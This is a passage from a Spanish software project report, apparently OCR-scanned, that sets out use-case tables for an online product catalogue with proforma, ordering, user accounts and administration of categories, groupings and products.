
Tabla 7 Consultar familia
Fuente: [Propia]
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Caso de Uso Consultar agrupacion

Requisitos asociados | Aplicacion-Catalogo Virtual

Actor iniciador Visitante
Descripcion Se consulta el contenido de una agrupacion.
Precondicion La agrupacion esta activa

Pos condicion

Se muestran la informacion y los productos de la agrupacion

seleccionada

Curso normal

1.
2.
3.
4.

El usuario quiere consultar una agrupacion.
El sistema muestra las agrupaciones disponibles.
El usuario selecciona la agrupacion deseada.

El sistema muestra la informacion de la agrupacion.

Curso alternativo

Extensidon Consultar producto

Tabla 8 Consultar agrupacién
Fuente: [Propia]

Caso de Uso Buscar Producto

Requisitos asociados | Aplicacion-Buscar Producto

Actor iniciador Visitante

Descripcion Se busca productos con determinadas condiciones

Precondicion

Pos condicion Se muestran los productos que satisfacen las restricciones

Curso normal

1.
2.
3.
4.

El usuario quiere buscar un articulo.
El sistema muestra los posibles filtros para realizar la basqueda.
El usuario introduce los valores deseados.

El sistema muestra una lista con los productos que satisfacen la busqueda.

Curso alternativo

Si no se define ningln filtro, el sistema muestra un error solicitando algin criterio

Extension Consultar producto

Tabla 9 Buscar producto
Fuente: [Propia]
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Caso de Uso

Consultar Producto

Requisitos asociados

Aplicacion-Ficha Productos

Actor iniciador

Visitante

Descripcion

Se consulta la informacion de un producto

Precondicion

El producto esta activo, no es obsoleto y dispone de ficha.

Pos condicidn

Se muestra la informacidon del producto seleccionado

Curso normal

1. El usuario quiere consultar un producto.
2. El sistema muestra los productos disponibles.
3. El usuario selecciona el producto deseado.

4. El sistema muestra la informacion del producto y sus productos recomendados.

Curso alternativo

Si el producto esta agotado se muestran sus productos sustitutos.

Tabla 10 Consultar producto

Fuente: [Propia]

Caso de Uso

Proforma

Requisitos asociados

Aplicacién-Proforma

Actor iniciador

Visitante

Descripcion

Se consulta la proforma actual

Precondicion

Pos condicién

Se muestra el contenido actual de la proforma

Curso normal

1. El usuario quiere consultar la proforma.
2. El sistema muestra los productos pro formado, sus cantidades y sus precios.

3. El sistema muestra el coste total, el IVA y los gastos de envio.

Curso alternativo

Si no existe ningln producto pro formado, el sistema muestra un mensaje explicativo y

finaliza el caso de uso.

Tabla 11 Proforma
Fuente: [Propia]
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Caso de Uso Alta cliente

Requisitos asociados | Aplicacion-Proforma

Actor iniciador Visitante

Descripcion Se da de alta un nuevo cliente en el sistema

Precondicion

Pos condicion El cliente es registrado en el sistema.

Curso normal

1. El usuario quiere darse de alta en el sistema.
2. El sistema solicita los datos al cliente.

3. Elusuario introduce los datos.

4. El sistema valida los datos.

5. El sistema registra el cliente.

6. El sistema envia un email de bienvenida con los datos del registro.

Curso alternativo

Si ya existe un usuario con el mismo email o alguno de los datos introducidos no es valido,

se muestra un mensaje de error y se vuelve al punto 3.

Tabla 12 Alta cliente
Fuente: [Propia]

Caso de Uso Anadir Producto Proforma

Requisitos asociados | Aplicacion-Proforma

Actor iniciador Visitante

Descripcion Se afiade producto a la proforma

Precondicion

Pos condicion Se inserta una unidad de un producto a la proforma.

Curso normal

1. El usuario quiere afadir un producto ala proforma.
2. El usuario selecciona el producto deseado.
3. El sistema afiade una nueva linea a proforma.

4. El sistema muestra todas las lineas de la proforma.

Curso alternativo

Si ya existia otra linea en la proforma con el mismo producto, se incrementa su cantidad en

una unidad.

Tabla 13 Afadir producto proforma
Fuente: [Propia]
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Caso de Uso Modificar Producto Proforma
Requisitos asociados | Aplicacion-proforma

Actor iniciador Visitante

Descripcion Se modifica la cantidad de un producto de la proforma.
Precondicion Debe existir en la proforma con ese producto.

Pos condicion Se modifica la cantidad de productos en la proforma.

Curso normal

1.
2.
3.
4.
5.

El usuario quiere modificar la cantidad de un producto de proforma.
Inclusion Consultar proforma.

El usuario modifica la cantidad de un producto.

El sistema valida la cantidad.

El sistema actualiza la proforma.

Curso alternativo

Si la cantidad no es un nimero entero o es menor a 1, se actualiza con un 1.

Tabla 14 Modificar producto proforma
Fuente: [Propia]

Caso de Uso Eliminar Producto Proforma
Requisitos asociados | Aplicacion-proforma

Actor iniciador Visitante

Descripcion Se elimina producto de la proforma
Precondicion Debe existir ese producto

Pos condicion Se elimina el producto de la proforma

Curso normal

1.
2
3
4.
5

6.

El usuario quiere eliminar un producto de la proforma.
Inclusion Consultar proforma.

El usuario selecciona la linea deseada.

El sistema pide confirmacion para borrarlo.

El usuario confirma la accién.

El sistema elimina la producto de proforma.

Curso alternativo

Si el usuario no confirma la accion finaliza el caso de uso.

Tabla 15 Eliminar producto proforma
Fuente: [Propia]
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Caso de Uso Eliminar Proforma
Requisitos asociados | Aplicacion-proforma

Actor iniciador Visitante

Descripcion Se elimina la proforma

Precondicion Debe existir ese al menos un producto
Pos condicion Se elimina la proforma

Curso normal

1.
2
3
4.
5

6.

El usuario quiere eliminarla proforma.

Inclusion Consultar proforma.

El usuario selecciona la opcion de vaciar la proforma.

El sistema pide confirmacién para borrar toda la proforma.
El usuario confirma la accion.

El sistema elimina toda la proforma.

Curso alternativo

Si el usuario no confirma la accion finaliza el caso de uso.

Tabla 16 Eliminar Proforma
Fuente: [Propia]
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4.2.2.3. Casos de Uso Sistema (Usuario registrado-Cliente)
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iniciar sesian

muoadificar cliente

realizar pedido

confirma pedido

CErrar sesian

recuperar contrasefia

usuario registrado

cambiar contrasefia

consultar cliente

Figura 20 Usuario registrado/cliente
Fuente: [Propia]

Caso de Uso

Iniciar sesion

Requisitos asociados

Aplicacién-Registro-Usuario

Actor iniciador

Usuario Registrado

Descripcion

El usuario inicia sesion en el sistema

Precondicion

Pos condicién

El visitante es identificado como usuario registrado del sistema

Curso normal

1. El usuario quiere identificarse en el sistema.

2. El sistema solicita el email del usuario y la contrasefia.
3. Elusuario introduce su email y contrasefia.

4. El sistema valida los datos.

5. El sistema reconoce el usuario y recupera su informacion.

Curso alternativo
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Si no existe la cuenta o la contrasefia es incorrecta, se muestra un mensaje de error y se

vuelve al punto 3.

Tabla 17 Iniciar sesién
Fuente: [Propia]

Caso de Uso Cerrar sesion

Requisitos asociados | Aplicacion-Registro-Usuario

Actor iniciador Usuario Registrado
Descripcion El usuario cierra sesion del sistema
Precondicion El usuario ha iniciado sesion

Pos condicion

El usuario deja de ser identificado como cliente registrado de la

tienda

Curso normal

1.
2.
3.
4,

El usuario quiere cerrar sesion en el sistema
El sistema pide al usuario que confirme la accidn.
El usuario confirma.

El sistema cierra la sesion del cliente.

Curso alternativo

Si el usuario no confirma la accion, finaliza el caso de uso.

Tabla 18 Cerrar sesion
Fuente: [Propia]

Caso de Uso Cambiar Contrasefia
Requisitos asociados | Aplicacion-Registro-Usuario

Actor iniciador Usuario Registrado

Descripcion El usuario cambia contrasefia.
Precondicion El usuario a iniciado contrasefia

Pos condicion El usuario nueva contrasefia de acceso.

Curso normal

1.

2
3
4.
5

El cliente quiere cambiar la contrasefia

El sistema solicita la contrasefia antigua y contrasefia y una repeticion de ésta.
El usuario introduce los datos

El sistema valida los datos

El sistema registra la nueva contrasefia
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Curso alternativo

La contrasefia antigua no es correcta y/o repeticion de la contrasefia no coincide con la

nueva contrasefia no es correcta, muestra un mensaje de error y se vuelve al punto 2.

Tabla 19 Cambiar contrasefia
Fuente: [Propia]

Caso de Uso Recuperar Contrasefia

Requisitos asociados | Aplicacion-Registro-Usuario

Actor iniciador Usuario Registrado

o Si olvidado su contrasefia, el cliente obtiene en su cuenta de
Descripcion ] . ]
email una nueva contrasefia generada aleatoriamente.

Precondicion

L Se envia la nueva contrasefia al mail del cliente y se actualiza en
Pos condicion )
el sistema

Curso normal

1. Elcliente no recuerda su contrasefia y quiere obtener una nueva.
El sistema solicita el email al usuario.

El usuario introduce su email.

El sistema pide al usuario que confirme la accién.

El usuario confirma.

El sistema valida los datos.

El sistema genera una nueva contrasefia aleatoria.

© N o g ~ w DN

El sistema envia un email al cliente informandole de la nueva contrasefia.

9. El sistema actualiza la contrasefia en el sistema.

Curso alternativo

Si el usuario no confirma la accion, finaliza el caso de uso.

Si el email no es valido o no existe ninguna cuenta para esa direccién, se muestra un
mensaje de error y se vuelve al punto 3.

Si se produce un error al enviar el email con la contrasefia se muestra un mensaje de error

y finaliza el caso de uso.

Tabla 20 Recuperar contrasefia
Fuente: [Propia]
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Caso de Uso Consultar usuario

Requisitos asociados | Aplicacion-Registro-Usuario

Actor iniciador Usuario Registrado

Descripcion El usuario consulta sus propios datos
Precondicion El usuario ha iniciado sesion

Pos condicion Los datos del cliente son mostrados por pantalla

Curso normal

1. El usuario quiere consultar sus datos en el sistema

2. El sistema muestra los datos del usuario

Curso alternativo

Tabla 21 Consultar usuario
Fuente: [Propia]

Caso de Uso Modificar usuario
Requisitos asociados | Aplicacion-Registro-Usuario
Actor iniciador Usuario Registrado

Descripcion El usuario modifica datos
Precondicion El usuario ha iniciado sesién

Pos condicion Los datos del cliente se actualizan.

Curso normal

1. El usuario quiere modificar alguno de sus datos en el sistema.

2. El sistema muestra los datos del cliente.
3. El usuario modifica los datos.

4, El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos por el cliente.

Curso alternativo

Si se muestra algun error se vuelve al punto 3.

Tabla 22 Modificar usuario
Fuente: [Propia]

Caso de Uso Realizar pedido

Requisitos asociados | Aplicacion-Proceso de proforma

Actor iniciador Usuario Registrado
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Descripcion El usuario genera una proforma con varios productos.
Precondicion El usuario ha iniciado sesion
Pos condicion El pedido y todas sus lineas quedan registrados en el sistema

Curso normal

1.
2
3
4.
5

6.

El usuario quiere realizar un pedido con varios productos.
El sistema valida la proforma/pedido.

El sistema solicita al cliente los datos de envio del pedido.
El usuario introduce los datos.

El sistema valida los datos.

El sistema registra el pedido y sus lineas como pendientes de pagar.

Curso alternativo

Si la proforma esta vacia se muestra un mensaje de error y finaliza el caso de uso. Si los

datos del pedido no son vélidos, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 23 Realizar pedido
Fuente: [Propia]

Caso de Uso Confirmar pedido

Requisitos asociados | Aplicacion-Proceso de proforma

Actor iniciador Usuario Registrado

Descripcion El usuario confirma proforma/pedido.

Precondicion

El usuario ha iniciado sesion

El pedido existe en el sistema y tiene alguna linea

Pos condicion El pedido se marca como confirmado

Curso normal

1.
2.

3.

El usuario quiere confirmar un pedido realizado
El sistema marca el pedido como pagado, muestra un mensaje de confirmacion y
envia un mail con los datos de la compra al cliente.

El sistema muestra un resumen final del pedido.

Curso alternativo

Si existe algun error termina el caso de uso

Tabla 24 Confirmar pedido
Fuente: [Propia]
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4.2.2.4. Casos de Uso Administracion (sesion)

iniciar sesian

adrinistrador CEFfar sesidn

Figura 21 Caso de uso Administracion sesion
Fuente: [Propia]

Caso de Uso Iniciar sesién
Requisitos asociados | Admin-Usuarios

Actor iniciador Administrador

Descripcion Administrador inicia sesion.
Precondicion Administrador no ha iniciado sesién
Pos condicion Administrado registrado en sistema

Curso normal

1. El administrador quiere iniciar sesion en el sistema.
2. El sistema solicita su nombre y su contrasefia.

3. El administrador introduce los datos.

4. El sistema valida los nuevos datos.

5. El sistema identifica al administrador y crea una nueva sesion.

Curso alternativo

Si no existe error se vuelve al punto 3.

Tabla 25 Iniciar sesién
Fuente: [Propia]

Caso de Uso Cerrar sesion

Requisitos asociados | Admin-Usuarios

Actor iniciador Administrador

Descripcion Administrador cierra sesion del sistema.
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Precondicion Administrador no ha iniciado sesion

Postcondicion Administrado deja de identificarse en el sistema

Curso normal

1. El administrador quiere finalizar la sesién en el sistema.
2. El sistema pide al administrador que confirme la accion.
3. El administrador confirma.

4. El sistema elimina la sesion.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso

Tabla 26 Cerrar sesién
Fuente: [Propia]

4.2.2.5. Casos de Uso Administracion (usuarios)

alta usuario consulta usuaria

administradar

haja usuario modifica usuario

Figura 22 Casos de Uso Administracion usuarios
Fuente: [Propia]

Caso de Uso Alta usuario

Requisitos asociados | Admin-Usuarios

Actor iniciador Administrador

Descripcion Creacion de un nuevo usuario en el sistema
Precondicion Administrador ha iniciado sesion
Postcondicion Usuario queda registrado en el sistema

Curso normal

1. El administrador quiere dar de alta un nuevo usuario.
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2. El sistema solicita los datos del usuario.
3. El administrador introduce los datos.
4. El sistema valida los datos.

5. El sistema registra el usuario.

Curso alternativo

Si ya existe otro usuario o existe algln error se vuelve al punto 3.

Tabla 27 Alta usuario

Fuente: [Propia]

Caso de Uso

Consulta usuario

Requisitos asociados

Admin-Usuarios

Actor iniciador

Administrador

Descripcion

Consulta de los datos de un usuario

Precondicion

Administrador ha iniciado sesion

El usuario existe en el sistema

Postcondicion

Datos del usuario son mostrados en pantalla

Curso normal

1. El administrador quiere consultar los datos de un usuario.
2. El sistema muestra los usuarios existentes.
3. El administrador selecciona el usuario deseado.

4. El sistema muestra los datos del usuario.

Curso alternativo

El administrador quiere buscar un usuario con determinadas caracteristicas.
El sistema solicita los criterios de busqueda.

El administrador introduce los criterios.

El sistema muestra los usuarios que satisfacen las restricciones.

El caso de uso continta en el punto 3.

Tabla 28 Consulta usuario

Fuente: [Propia]

Caso de Uso

Modificacion usuario

Requisitos asociados

Admin-Usuarios

Actor iniciador

Administrador

Descripcion

Modificacion de los datos del usuario

Precondicion

Administrador ha iniciado sesion
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El usuario existe en el sistema

Postcondicion Datos del usuario queda actualizados en el sistema.

Curso normal

1. El administrador quiere modificar los datos de un usuario.
2. Inclusion Consulta Usuario.

3. El administrador modifica los datos.

4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en el usuario.

Curso alternativo

Si ya existe otro usuario con el mismo nombre o alguno de los datos introducidos no es

valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 29 Modificar usuario
Fuente: [Propia]

Caso de Uso Baja usuario

Requisitos asociados | Admin-Usuarios

Actor iniciador Administrador

Descripcion Eliminacion de un usuario del sistema

L Administrador ha iniciado sesion
Precondicion ) ) )
El usuario existe en el sistema

Postcondicion El usuario es eliminado del sistema

Curso normal

1. El administrador quiere dar de baja un usuario.

2. El sistema muestra los usuarios existentes.

3. El administrador selecciona el usuario y pulsa Eliminar.
4. El sistema pide al administrador que confirme la accion.
5. El administrador confirma.

6. El sistema elimina el usuario.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 30 Baja usuario
Fuente: [Propia]
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4.2.2.6. Casos de Uso Administracion (grupos)

100

alta grupo

baja grupo

consulta grupo

administradar

modificacidn grupo

guitar usuario

afadir usuario

Figura 23 Casos de Uso Administracion grupos
Fuente: [Propia]

Caso de Uso Alta grupo

Requisitos asociados | Admin-grupo-usuarios

Actor iniciador Administrador

Descripcion Creacion de un nuevo grupo de usuarios en el sistema
Precondicion Administrador ha iniciado sesion

Postcondicion Grupo queda registrado en el sistema

Curso normal

1.
2.
3.
4.
S.

El administrador quiere dar de alta un nuevo grupo de usuarios.
El sistema solicita los datos del grupo.

El administrador introduce los datos.

El sistema valida los datos.

El sistema registra el grupo de usuarios.

Curso alternativo

Si ya existe otro grupo con el mismo nombre o alguno de los datos introducidos no es

valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 31 Alta grupo
Fuente [Propia]
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Caso de Uso Consultar grupo

Requisitos asociados | Admin-grupo-usuarios

Actor iniciador Administrador

Descripcion Consulta de los datos de un grupo de usuarios

L Administrador ha iniciado sesion
Precondicion ) ]
El grupo existe en el sistema

Postcondicion Los datos del grupo son mostrados en pantalla

Curso normal

1. El administrador quiere consultar los datos de un grupo de usuarios.
2. El administrador muestra los grupos existentes.
3. El administrador selecciona el grupo deseado.

4. El sistema muestra los datos del grupo de usuarios.

Curso alternativo

El administrador quiere buscar un grupo de usuarios con determinadas caracteristicas.
El sistema solicita los criterios de busqueda.
El administrador introduce los criterios.

El sistema lista los grupos que satisfacen las restricciones.

Tabla 32 Consultar grupo
Fuente: [Propia]

Caso de Uso Modificacién grupo

Requisitos asociados | Admin-grupo-usuarios

Actor iniciador Administrador

Descripcion Modificacién de los datos de un grupo de usuarios

o Administrador ha iniciado sesion
Precondicion ) ]
El grupo existe en el sistema

Postcondicion Los datos del grupo quedan actualizados ene | sistema

Curso normal

1. El administrador quiere modificar los datos de un grupo de usuarios.
2. Inclusién Consulta Grupo.

3. El administrador modifica los datos.

4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en el grupo de usuarios.

Curso alternativo
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Extension Afadir Usuario.
Extensién Quitar Usuario.
Si ya existe otro grupo con el mismo nombre o alguno de los datos introducidos no es

valido, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 33 Modificar grupo

Fuente: [Propia]

Caso de Uso

Baja grupo

Requisitos asociados

Admin-grupo-usuarios

Actor iniciador

Administrador

Descripcion

Eliminacién de un grupo de usuarios del sistema

Precondicion

Administrador ha iniciado sesion

El grupo existe en el sistema

Postcondicion

El grupo es eliminado del sistema

Curso normal

1. El administrador quiere dar de baja un grupo de usuarios.
2. El administrador muestra los grupos existentes.

3. El administrador selecciona el grupo y pulsa Eliminar.

4. El sistema pide al administrador que confirme la accion.
5. El administrador confirma.

6. El sistema elimina el grupo de usuarios.

Curso alternativo

Si el administrador no confirma la accioén, finaliza el caso de uso.

Si el grupo tenia registros asociados, mensaje de error y finaliza el caso de uso.

Tabla 34 Baja grupo
Fuente: [Propia]

Caso de Uso

Anadir usuario

Requisitos asociados

Admin-grupo-usuarios

Actor iniciador

Administrador

Descripcion

Insercidn de un usuario en un grupo de usuarios

Precondicion

Administrador ha iniciado sesion

El usuario no pertenece al grupo

Postcondicion

Se registra la insercion de un usuario en el grupo
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Curso normal

El administrador quiere afiadir un usuario en un grupo de usuarios.
El sistema muestra los usuarios que todavia no pertenecen al grupo.
El administrador selecciona el usuario y pulsa Insertar.

El sistema afiade el usuario en el grupo y registra los cambios.

Curso alternativo

Tabla 35 Afiadir usuario
Fuente: [Propia]

Caso de Uso Quitar usuario

Requisitos asociados | Admin-grupo-usuarios

Actor iniciador Administrador

Descripcion Eliminacién de un usuario en un grupo de usuarios

Precondicion

Administrador ha iniciado sesion

El usuario pertenece al grupo

Postcondicion Se registra la exclusion de un usuario en el grupo de usuario

Curso normal

1.
2
3
4.
5

6.

El administrador quiere quitar un usuario de un grupo de usuarios.
El sistema muestra los usuarios del grupo actual.

El administrador selecciona el usuario deseado y pulsa Eliminar.
El sistema pide al administrador que confirme la accion.

El administrador confirma.

El sistema quita el usuario del grupo y registra los cambios.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 36 Quitar usuario
Fuente: [Propia]
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4.2.2.7. Casos de Uso Administracion (categorias)

alta categoria consulta categoria

administradar

haja categoria modifica categoria

Figura 24 Casos de uso administracién categorias
Fuente: [Propia]

Caso de Uso Alta categoria

Requisitos asociados | Admin-categorias

Actor iniciador Administrador

Descripcion Creacion de una nueva categoria en el sistema
Precondicion Administrador ha iniciado sesion
Postcondicion La categoria queda registra en el sistema

Curso normal

1. El administrador quiere dar de alta una nueva categoria.
2. El sistema solicita los datos de la categoria.

3. El administrador introduce los datos.

4. El sistema valida los datos.

5. El sistema registra la categoria.

Curso alternativo

valida, se muestra un mensaje de error y se vuelve al punto 3.

Si ya existe otra categoria con el mismo nombre o alguno de los datos introducidos no es

Tabla 37 Alta categoria
Fuente: [Propia]
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Caso de Uso

Consulta categoria

Requisitos asociados

Admin-categorias

Actor iniciador

Administrador

Descripcion

Consulta de los datos de una categoria

Precondicion

Administrador ha iniciado sesion

La categoria existe en el sistema

Postcondicion

Datos de la categoria son mostrados en pantalla

Curso normal

1. El administrador quiere consultar los datos de una categoria.
2. El sistema muestra todas las categorias existentes.
3. El administrador selecciona la categoria deseada.

4. El sistema muestra los datos de la categoria.

Curso alternativo

Tabla 38 Consulta categoria

Fuente: [Propia]

Caso de Uso

Modificar categoria

Requisitos asociados

Admin-categorias

Actor iniciador

Administrador

Descripcion

Modificacién de los datos de una categoria

Precondicion

Administrador ha iniciado sesion

La categoria existe en el sistema

Postcondicion

Datos de la categoria quedan actualizados en el sistema

Curso normal

1. El administrador quiere modificar los datos de una categoria.
2. Inclusion Consulta Categoria

3. El administrador modifica los datos.

4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en la categoria.

Curso alternativo

Si existe algun problema regresa al punto 3

Tabla 39 Modificar Categoria

Fuente: [Propia]
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Caso de Uso Baja categoria

Requisitos asociados | Admin-categorias

Actor iniciador Administrador

Descripcion Eliminacién de una categoria

Precondicion

Administrador ha iniciado sesion

La categoria existe en el sistema

Postcondicion Categoria es eliminada del sistema

Curso normal

1.
2
3
4.
5

6.

El administrador quiere dar de baja una categoria.

El sistema muestra todas las categorias existentes.

El administrador selecciona la categoria y pulsa Eliminar.
El sistema pide al administrador que confirme la accién.
El administrador confirma.

El sistema elimina la categoria.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.
Si la categoria tiene familias o agrupaciones vinculadas, se muestra un mensaje de error y

termina el caso de uso.

Tabla 40 Baja categoria
Fuente: [Propia]

4.2.2.8. Casos de Uso Administracion (familias)
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consulta familia

administrador

maodifica familia

Figura 25 Casos de uso Administracion familias
Fuente: [Propia]
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Caso de Uso Consulta familia

Requisitos asociados | Admin-familias

Actor iniciador Administrador

Descripcion Consulta de datos de una familia

Precondicion

Administrador ha iniciado sesion

La familia existe en el sistema

Postcondicion Los datos de la familia son mostrados en pantalla

Curso normal

1.

El administrador quiere consultar los datos de una familia.
El sistema muestra todas las familias existentes.
El administrador selecciona la familia deseada.

El sistema muestra los datos de la familia.

Curso alternativo

Tabla 41 Consulta familia
Fuente: [Propia]

Caso de Uso Modificacion familia

Requisitos asociados | Admin-familias

Actor iniciador Administrador

Descripcién Modificacién de datos de una familia

Precondicién

Administrador ha iniciado sesion

La familia existe en el sistema

Postcondicion Los datos de la familia quedan actualizados en el sistema.

Curso normal

1.

5.

El administrador quiere modificar los datos de una familia.
Inclusién Consulta Familia.

El administrador modifica.

El sistema valida los nuevos datos.

El sistema registra los cambios introducidos en la familia.

Curso alternativo

Si datos introducidos no es valido, un mensaje de error y se vuelve al punto 3.

Tabla 42 Modificar familia
Fuente: [Propia]
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4.2.2.9. Casos de Uso Administracion (agrupaciones)

alta agrupacion

haja agrupacion

consulta agrupacion

administracar

modificacion agrupacion

ertation==

agrupar producto desagrupar producto

incluir agrupacion

Figura 26Casos de uso administracion agrupaciones
Fuente: [Propia]

Caso de Uso Alta agrupacion

Requisitos asociados | Admin-agrupacion

Actor iniciador Administrador

Descripcion Creacion de una nueva agrupacion en el sistema
Precondicion Administrador ha iniciado sesion
Postcondicion La agrupacion queda registrada en el sistema

Curso normal

1. El administrador quiere dar de alta una nueva agrupacion.

2. El sistema solicita los datos de la agrupacién y su tipo de mend.
3. El administrador introduce los datos.
4

El sistema valida los datos.
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5. El sistema registra la agrupacion.

Curso alternativo

Si ya existe otra agrupacion con el mismo nombre o alguno de los datos introducidos no es

valida, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 43 Alta agrupacion
Fuente: [Propia]

Caso de Uso Consulta agrupacion

Requisitos asociados | Admin-agrupacion

Actor iniciador Administrador

Descripcion Consulta de los datos de una agrupacion

- Administrador ha iniciado sesion
Precondicion » ] ]
La agrupacion existe en el sistema

Postcondicion Los datos de la agrupacion son mostrados en pantalla

Curso normal

1. El administrador quiere consultar los datos de una agrupacion.
2. El sistema muestra todas las agrupaciones existentes.
3. El administrador selecciona la agrupacion deseada.

4. El sistema muestra los datos de la agrupacion.

Curso alternativo

Tabla 44 Consulta agrupacion
Fuente:[Propia]

Caso de Uso Modificacion-agrupacion

Requisitos asociados | Admin-agrupacion

Actor iniciador Administrador

Descripcion Modificacion de los datos de una agrupacion.

. Administrador ha iniciado sesion
Precondicion » ] ]
La agrupacion existe en el sistema

Postcondicion Los datos de la agrupacion quedan actualizados en el sistema

Curso normal

1. El administrador quiere modificar los datos de una agrupacion.
2. Inclusién Consulta Agrupacion.

3. El administrador modifica los datos.
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4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en la agrupacion.

Curso alternativo

Extension Agrupar Producto
Extension Desagrupar Producto
Extension jError! No se encuentra el origen de la referencia.

Si hay algun error, se muestra un mensaje de error y se vuelve al punto 3.

Tabla 45 Modificacion agrupacion
Fuente: [Propia]

Caso de Uso Baja-agrupacion

Requisitos asociados | Admin-agrupacion

Actor iniciador Administrador

Descripcion Eliminacion de una agrupacion del sistema.

- Administrador ha iniciado sesion
Precondicion N ] ]
La agrupacion existe en el sistema

Postcondicion Los agrupacion es eliminada del sistema

Curso normal

1. El administrador quiere dar de baja una agrupacién.

2. El sistema muestra todas las agrupaciones existentes.

3. El administrador selecciona la agrupacion.

4. El sistema pide al administrador que confirme la accion.
5. El administrador confirma.

6. El sistema elimina la agrupacion.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 46 Baja agrupacion
Fuente: [Propia]

Caso de Uso Agrupar-producto

Requisitos asociados | Admin-agrupacion

Actor iniciador Administrador

Descripcion Insercion de un producto dentro de una agrupacion.
Precondicion Administrador ha iniciado sesion
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El producto no pertenece a la agrupacion

Postcondicion Se registra la insercion del producto en la agrupacion

Curso normal

El administrador quiere afiadir un producto en una agrupacion.
El sistema muestra los productos que todavia no pertenecen a la agrupacion.
El administrador selecciona el producto y pulsa Insertar.

El sistema afiade el producto en la agrupacion y registra los cambios.

Curso alternativo

Tabla 47 Agrupar Producto
Fuente: [Propia]

Caso de Uso Desagrupar-producto

Requisitos asociados | Admin-agrupacion

Actor iniciador Administrador

Descripcion Eliminacion de un producto dentro de una agrupacion

L Administrador ha iniciado sesion
Precondicion B
El producto pertenece a la agrupacion

Postcondicion Se registra la exclusion del producto en la agrupacion

Curso normal

1. El administrador quiere retirar un producto de una agrupacion.

2. El sistema muestra los productos que pertenecen a la agrupacion.
3. El administrador selecciona el producto y pulsa Eliminar.

4. El sistema pide al administrador que confirme la accion.

5. El administrador confirma.

6. El sistema retira el producto en la agrupacion y registra los cambios.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 48 Desagrupar Producto
Fuente: [Propia]
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Caso de Uso

Incluir-agrupacion

Requisitos asociados

Admin-agrupacion

Actor iniciador

Administrador

Descripcion

Se inserta todos los productos de una agrupacidn en otra.

Precondicion

Administrador ha iniciado sesion

La agrupacion incluida es diferente a la modificada

Postcondicion

Registra la insercion de los productos de una agrupacion en otra.

Curso normal

1. El administrador quiere afiadir los productos de una agrupacion a otra.

2. El sistema muestra el resto de agrupaciones existentes.

3. El administrador selecciona una agrupacion y pulsa Insertar.

4. El sistema incluye todos los productos de la agrupacion seleccionada y registra los

cambios en la agrupacién modificada.

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 49 Incluir Agrupacion

Fuente: [Propia]
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4.2.2.10. Casos de Uso Administracion (productos)

consulta producto

administradar

<=jmplementation==

madifica producto

wdementation ==

afiadir recomendacion

afiadir susttitucidn

=zimplemeftation== =<[nplementation==

Biminar sustitucion eliminar recomendacion

Figura 27 Casos de Uso Administraciéon Productos
Fuente: [Propia]

Caso de Uso Consultar-producto

Requisitos asociados | Admin-productos

Actor iniciador Administrador

Descripcion Consulta de los datos de un producto
Precondicion Administrador ha iniciado sesion

Postcondicion Los datos del producto son mostrados por pantalla

Curso normal

1. El administrador quiere consultar los datos de un producto.

2. El sistema muestra todos los productos existentes.

3. El administrador selecciona el producto deseado.
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4. El sistema muestra los datos del producto.

Curso alternativo

Tabla 50 Consultar producto
Fuente: [Propia]

Caso de Uso Modificacion-producto

Requisitos asociados | Admin-productos

Actor iniciador Administrador

Descripcion Modificacién de los datos de un producto
Precondicion Administrador ha iniciado sesion

Postcondicion Los datos del producto son actualizados en el sistema

Curso normal

1. El administrador quiere modificar los datos de una agrupacion.
2. Inclusion Consulta Producto.

3. El administrador modifica los datos

4. El sistema valida los nuevos datos.

5. El sistema registra los cambios introducidos en el producto.

Curso alternativo

Extension Afiadir Recomendacién; Extensién Eliminar Recomendacion; Extension Afadir
Sustitucion; Extension Eliminar Sustitucion

Si existe error se vuelve al punto 3.

Tabla 51 Modificar producto
Fuente: [Propia]

Caso de Uso Anadir-recomendacion

Requisitos asociados | Admin-productos

Actor iniciador Administrador

Descripcion Insercion de un producto en la lista de recomendaciones de otro

- Administrador ha iniciado sesion
Precondicion ;
El producto no esta recomendado con el actual

Postcondicion Se registra la recomendacion del producto

Curso normal

1. El administrador quiere afiadir una recomendacién para un producto.

2. Muestra los productos que todavia no han sido recomendados al producto actual.
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3. El administrador selecciona el producto y pulsa Insertar.

4. El sistema afiade el producto en la lista de recomendados

Curso alternativo

Tabla 52 Afiadir recomendacién

Fuente: [Propia]

Caso de Uso

Eliminar-recomendacion

Requisitos asociados

Admin-productos

Actor iniciador

Administrador

Descripcion

Eliminacion de un producto en la lista de recomendacién de otro

Precondicion

Administrador ha iniciado sesion

El producto esta recomendado con el actual

Postcondicion

Se registra la exclusion del producto como recomendado

Curso normal

1. El administrador quiere eliminar una recomendacion del producto.

2. El sistema muestra los productos recomendados con el producto actual.
3. El administrador selecciona la recomendacion y pulsa Eliminar.

4. El sistema pide al administrador que confirme la accion.

5. El administrador confirma.

6. El sistema elimina el producto de la lista de recomendados correspondiente

Curso alternativo

Si el administrador no confirma la accion, finaliza el caso de uso.

Tabla 53 Eliminar recomendacion

Fuente: [Propia]

Caso de Uso

Afadir-sustitucion

Requisitos asociados

Admin-productos

Actor iniciador

Administrador

Descripcion

Insercidn de un producto en la lista de sustituciones de otro

Precondicion

Administrador ha iniciado sesion

El producto no es sustituto actual

Postcondicion

Se registra la sustitucién del producto

Curso normal

1. El administrador quiere afiadir un producto sustituto del producto seleccionado.
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2.
3.

4. El sistema afiade el producto sustituto correspondiente y registra los

El sistema muestra los productos no sustitutos del actual.

El administrador selecciona el producto y pulsa Insertar.

Curso alternativo

